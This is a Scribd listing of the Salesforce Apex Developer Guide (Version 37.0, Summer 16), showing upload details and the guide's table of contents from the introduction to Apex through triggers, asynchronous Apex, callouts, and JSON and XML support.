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Salesforce Apex Language Reference PDF

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0% found this document useful (0 votes)

328 views

Salesforce Apex Language Reference PDF

Uploaded by

Ankush Dureja

Available Formats

Download as PDF, TXT or read online on Scribd

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Apex Developer Guide

Version 37.0, Summer 16

@salesforcedocs
Last updated: July 7, 2016

as are other names and marks. Other marks appearing herein may be trademarks of their respective owners.

CONTENTS
GETTING STARTED

.................................................1

Chapter 1: Introducing Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1

What is Apex? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2
When Should I Use Apex? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
How Does Apex Work? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4
Developing Code in the Cloud . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
What's New? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
Understanding Apex Core Concepts . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7

Chapter 2: Apex Development Process . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12

What is the Apex Development Process? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13
Create a Developer or Sandbox Org . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13
Learning Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14
Writing Apex Using Development Environments . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15
Writing Tests . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
Deploying Apex to a Sandbox Organization . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
Deploying Apex to a Salesforce Production Organization . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
Adding Apex Code to a Force.com AppExchange App . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18

Chapter 3: Apex Quick Start . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19

Writing Your First Apex Class and Trigger . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
Create a Custom Object . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
Adding an Apex Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20
Add an Apex Trigger . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21
Add a Test Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22
Deploying Components to Production . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24

WRITING APEX . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26
Chapter 4: Data Types and Variables . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26
Data Types . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27
Primitive Data Types . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27
Collections . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 30
Lists . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 30
Sets . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 33
Maps . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 33
Parameterized Typing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 35
Enums . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 35
Variables . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37

Contents

Constants . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 38
Expressions and Operators . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39
Understanding Expressions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39
Understanding Expression Operators . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 40
Understanding Operator Precedence . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 46
Using Comments . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 46
Assignment Statements . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 47
Understanding Rules of Conversion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 48

Chapter 5: Control Flow Statements . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 50

Conditional (If-Else) Statements . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51
Loops . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51
Do-While Loops . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 52
While Loops . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 52
For Loops . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 52

Chapter 6: Classes, Objects, and Interfaces . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 55

Understanding Classes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 55
Apex Class Definition . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 56
Class Variables . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 57
Class Methods . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 58
Using Constructors . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 60
Access Modifiers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 61
Static and Instance Methods, Variables, and Initialization Code . . . . . . . . . . . . . . . . . . 62
Apex Properties . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 66
Extending a Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 68
Extended Class Example . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 70
Understanding Interfaces . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 74
Custom Iterators . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 75
Keywords . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 77
Using the final Keyword . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 77
Using the instanceof Keyword . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 78
Using the super Keyword . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 78
Using the this Keyword . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 79
Using the transient Keyword . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 80
Using the with sharing or without sharing Keywords . . . . . . . . . . . . . . . . . . . . . . . . . . 81
Annotations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 82
AuraEnabled Annotation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 83
Deprecated Annotation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 83
Future Annotation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 84
InvocableMethod Annotation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 85
InvocableVariable Annotation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 86
IsTest Annotation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 89
ReadOnly Annotation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 92

Contents

RemoteAction Annotation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 92
TestSetup Annotation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 93
TestVisible Annotation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 93
Apex REST Annotations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 94
Classes and Casting . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 96
Classes and Collections . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 97
Collection Casting . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 98
Differences Between Apex Classes and Java Classes . . . . . . . . . . . . . . . . . . . . . . . . . . . . 98
Class Definition Creation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 99
Naming Conventions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 100
Name Shadowing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 101
Namespace Prefix . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 101
Using the System Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 102
Using the Schema Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 103
Namespace, Class, and Variable Name Precedence . . . . . . . . . . . . . . . . . . . . . . . . 104
Type Resolution and System Namespace for Types . . . . . . . . . . . . . . . . . . . . . . . . . . 105
Apex Code Versions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 105
Setting the Salesforce API Version for Classes and Triggers . . . . . . . . . . . . . . . . . . . . . 106
Setting Package Versions for Apex Classes and Triggers . . . . . . . . . . . . . . . . . . . . . . 107
Lists of Custom Types and Sorting . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 107
Using Custom Types in Map Keys and Sets . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 107

Chapter 7: Working with Data in Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 111

sObject Types . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 112
Accessing sObject Fields . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 113
Validating sObjects and Fields . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 114
Adding and Retrieving Data . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 114
DML . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 115
DML Statements vs. Database Class Methods . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 115
DML Operations As Atomic Transactions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 117
How DML Works . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 117
DML Operations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 118
DML Exceptions and Error Handling . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 130
More About DML . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 131
Locking Records . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 143
SOQL and SOSL Queries . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 144
Working with SOQL and SOSL Query Results . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 145
Accessing sObject Fields Through Relationships . . . . . . . . . . . . . . . . . . . . . . . . . . . . 146
Understanding Foreign Key and Parent-Child Relationship SOQL Queries . . . . . . . . . . . 147
Working with SOQL Aggregate Functions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 148
Working with Very Large SOQL Queries . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 148
Using SOQL Queries That Return One Record . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 151
Improving Performance by Not Searching on Null Values . . . . . . . . . . . . . . . . . . . . . . 151
Working with Polymorphic Relationships in SOQL Queries . . . . . . . . . . . . . . . . . . . . . . 152

Contents

Using Apex Variables in SOQL and SOSL Queries . . . . . . . . . . . . . . . . . . . . . . . . . . . 153

Querying All Records with a SOQL Statement . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 155
SOQL For Loops . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 155
sObject Collections . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 157
Lists of sObjects . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 157
Sorting Lists of sObjects . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 159
Expanding sObject and List Expressions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 162
Sets of Objects . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 163
Maps of sObjects . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 163
Dynamic Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 165
Understanding Apex Describe Information . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 166
Using Field Tokens . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 168
Understanding Describe Information Permissions . . . . . . . . . . . . . . . . . . . . . . . . . . . 169
Describing sObjects Using Schema Method . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 170
Describing Tabs Using Schema Methods . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 170
Accessing All sObjects . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 171
Accessing All Data Categories Associated with an sObject . . . . . . . . . . . . . . . . . . . . . 172
Dynamic SOQL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 177
Dynamic SOSL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 178
Dynamic DML . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 179
Apex Security and Sharing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 182
Enforcing Sharing Rules . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 182
Enforcing Object and Field Permissions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 184
Class Security . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 185
Understanding Apex Managed Sharing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 185
Security Tips for Apex and Visualforce Development . . . . . . . . . . . . . . . . . . . . . . . . . 199
Custom Settings . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 205

WAYS TO INVOKE APEX . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 207

Chapter 8: Invoking Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 207
Anonymous Blocks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 208
Triggers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 209
Bulk Triggers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 210
Trigger Syntax . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 211
Trigger Context Variables . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 211
Context Variable Considerations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 213
Common Bulk Trigger Idioms . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 214
Defining Triggers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 216
Triggers and Merge Statements . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 217
Triggers and Recovered Records . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 218
Triggers and Order of Execution . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 218
Operations That Don't Invoke Triggers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 220
Entity and Field Considerations in Triggers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 221

Contents

Triggers for Chatter Objects . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 223

Trigger Exceptions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 225
Trigger and Bulk Request Best Practices . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 225
Asynchronous Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 226
Future Methods . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 227
Future Methods with Higher Limits (Pilot) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 230
Queueable Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 231
Apex Scheduler . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 233
Batch Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 240
Web Services . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 253
Exposing Apex Methods as SOAP Web Services . . . . . . . . . . . . . . . . . . . . . . . . . . . . 253
Exposing Apex Classes as REST Web Services . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 256
Apex Email Service . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 265
Using the InboundEmail Object . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 266
Visualforce Classes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 267
Invoking Apex Using JavaScript . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 268
JavaScript Remoting . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 268
Apex in AJAX . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 269

Chapter 9: Apex Transactions and Governor Limits . . . . . . . . . . . . . . . . . . . . . . . . . 271

Apex Transactions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 272
Execution Governors and Limits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 273
Set Up Governor Limit Email Warnings . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 281
Running Apex within Governor Execution Limits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 281

Chapter 10: Using Salesforce Features with Apex . . . . . . . . . . . . . . . . . . . . . . . . . . 284

Actions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 285
Approval Processing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 285
Apex Approval Processing Example . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 286
Authentication . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 287
Create a Custom Authentication Provider Plug-in . . . . . . . . . . . . . . . . . . . . . . . . . . . 287
Chatter Answers and Ideas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 293
Chatter in Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 293
Chatter in Apex Examples . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 294
Chatter in Apex Features . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 314
Using ConnectApi Input and Output Classes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 347
Understanding Limits for ConnectApi Classes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 347
Serializing and Deserializing ConnectApi Obejcts . . . . . . . . . . . . . . . . . . . . . . . . . . . 348
ConnectApi Versioning and Equality Checking . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 348
Casting ConnectApi Objects . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 348
Wildcards . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 349
Testing ConnectApi Code . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 350
Differences Between ConnectApi Classes and Other Apex Classes . . . . . . . . . . . . . . . 351
Moderate Chatter Private Messages with Triggers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 352

Contents

Moderate Feed Items with Triggers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 355

Communities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 355
Email . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 356
Inbound Email . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 356
Outbound Email . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 356
Platform Cache . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 359
Platform Cache Features . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 360
Platform Cache Considerations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 361
Platform Cache Limits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 361
Platform Cache Partitions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 362
Platform Cache Internals . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 363
Store and Retrieve Values from the Session Cache . . . . . . . . . . . . . . . . . . . . . . . . . . 364
Use a Visualforce Global Variable for the Session Cache . . . . . . . . . . . . . . . . . . . . . . 365
Store and Retrieve Values from the Org Cache . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 366
Platform Cache Best Practices . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 367
Salesforce Knowledge . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 370
Knowledge Management . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 371
Promoted Search Terms . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 371
Suggest Salesforce Knowledge Articles . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 372
Salesforce Connect . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 375
Salesforce Connect . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 376
Writable External Objects in Salesforce Connect . . . . . . . . . . . . . . . . . . . . . . . . . . . . 378
Get Started with the Apex Connector Framework . . . . . . . . . . . . . . . . . . . . . . . . . . . 380
Key Concepts About the Apex Connector Framework . . . . . . . . . . . . . . . . . . . . . . . . 386
Considerations for the Apex Connector Framework . . . . . . . . . . . . . . . . . . . . . . . . . 396
Apex Connector Framework Examples . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 396
Salesforce Reports and Dashboards API via Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 413
Requirements and Limitations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 414
Run Reports . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 415
List Asynchronous Runs of a Report . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 416
Get Report Metadata . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 416
Get Report Data . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 417
Filter Reports . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 418
Decode the Fact Map . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 419
Test Reports . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 421
Force.com Sites . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 423
Rewriting URLs for Force.com Sites . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 424
Support Classes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 430
Territory Management 2.0 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 431
Visual Workflow . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 433
Getting Flow Variables . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 433
Passing Data to a Flow Using the Process.Plugin Interface . . . . . . . . . . . . . . . . . . . . . 434

Chapter 11: Integration and Apex Utilities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 448

Contents

Invoking Callouts Using Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 449

Adding Remote Site Settings . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 449
Named Credentials as Callout Endpoints . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 449
SOAP Services: Defining a Class from a WSDL Document . . . . . . . . . . . . . . . . . . . . . . 453
Invoking HTTP Callouts . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 466
Using Certificates . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 474
Callout Limits and Limitations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 476
Make Long-Running Callouts from a Visualforce Page . . . . . . . . . . . . . . . . . . . . . . . 477
JSON Support . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 490
Roundtrip Serialization and Deserialization . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 492
JSON Generator . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 494
JSON Parsing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 495
XML Support . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 498
Reading and Writing XML Using Streams . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 498
Reading and Writing XML Using the DOM . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 502
Securing Your Data . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 505
Encoding Your Data . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 508
Using Patterns and Matchers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 508
